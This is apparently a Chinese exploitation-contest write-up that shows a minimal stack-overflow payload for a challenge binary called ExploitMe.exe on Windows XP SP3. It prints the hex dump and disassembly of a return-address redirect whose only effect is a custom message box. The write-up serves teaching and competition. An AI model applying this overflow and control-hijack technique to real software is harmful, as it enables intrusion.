第一阶段第一题
题目
1.执行附件中的ExploitMe.exe,将弹出“Fail”窗口。
2.要求修改exploit.dat中的内容使得弹出的窗口如下图所示。
3.程序运行环境为Windows XP sp3,不得修改ExploitMe.exe程序本身。
4.成功弹出窗口,非零字节个数的最少满分(100)。
简析
1.ExploitMe.exe第一次运行自动创建exploit.dat(长度为0),并将弹出“Fail”窗口。
2.修改exploit.dat中的内容使得弹出的窗口符合上图要求的基本条件:
(1)exploit.dat长度为0x84,偏移0x80:重定向的绝对地址指向间接绝对地址,间接绝对地址指向执行代码;由于使用了绝对地址,所以不能在其他系统中运行(建议使用相对地址以提高兼容性)。
(2)将原来的MessageBoxW(0,"Fail","ExploitMe",0)修改为MessageBoxW(0,"Exploit success","ExploitMe",0)
即将原来的:
004011C0 push 0 ; /Style = MB_OK|MB_APPLMODAL
004011C2 push 0040606C ; |Title = "ExploitMe"
004011C7 push 00406060 ; |Text = "Fail"
004011CC push 0 ; |hOwner = NULL
004011CE call dword ptr [408510] ; \MessageBoxW
中的00406060->"Fail" 修改为 XXXXXXXX->"Exploit success";
(3)要求修改exploit.dat不能修改原文件且代码段被设定为只读,故exploit.dat应包含上述两个绝对地址、"Exploit success"及必要的运行代码指定API的运行参数:
push 0
push 0040606C
push XXXXXXXX
jmp 004011CC 或call 004011CC/retn
3.比赛结果点评(以第一名的答案)
0012FC78 7C FC 12 00 6A 00 68 6C 60 40 00 E8 20 00 00 00 |?.j.hl`@.?...
0012FC88 45 00 78 00 70 00 6C 00 6F 00 69 00 74 00 20 00 E.x.p.l.o.i.t. .
0012FC98 73 00 75 00 63 00 63 00 65 00 73 00 73 00 00 00 s.u.c.c.e.s.s...
0012FCA8 68 CC 11 40 00 C3 00 00 00 00 00 00 00 00 00 00 h?@.?.........
0012FCB8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0012FCC8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0012FCD8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0012FCE8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0012FCF8 78 FC 12 x?.
0012FC7C push 0
0012FC7E push 40606C ; UNICODE "ExploitMe"
0012FC83 E8 20000000 call 0012FCA8
0012FC88 Uni->"Exploit success";
0012FCA8 68 CC114000 push 4011CC
0012FCAD C3 retn
答案共使用了33个非零字节(应该所有答案中最少的),其中利用call 0012FCA8将"Exploit success"压入堆栈比push 0012fc88节省2字节,但不足之处为
push 4011CC/retn(5字节) 如果改为
jmp 4011cc(4字节).
所以使用32个非零字节,才可能是最佳结果。
另发现第二名使用了API地址(77xxxxxxx)作为重定向地址其兼容性就较差,这里的XP下崩溃。
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课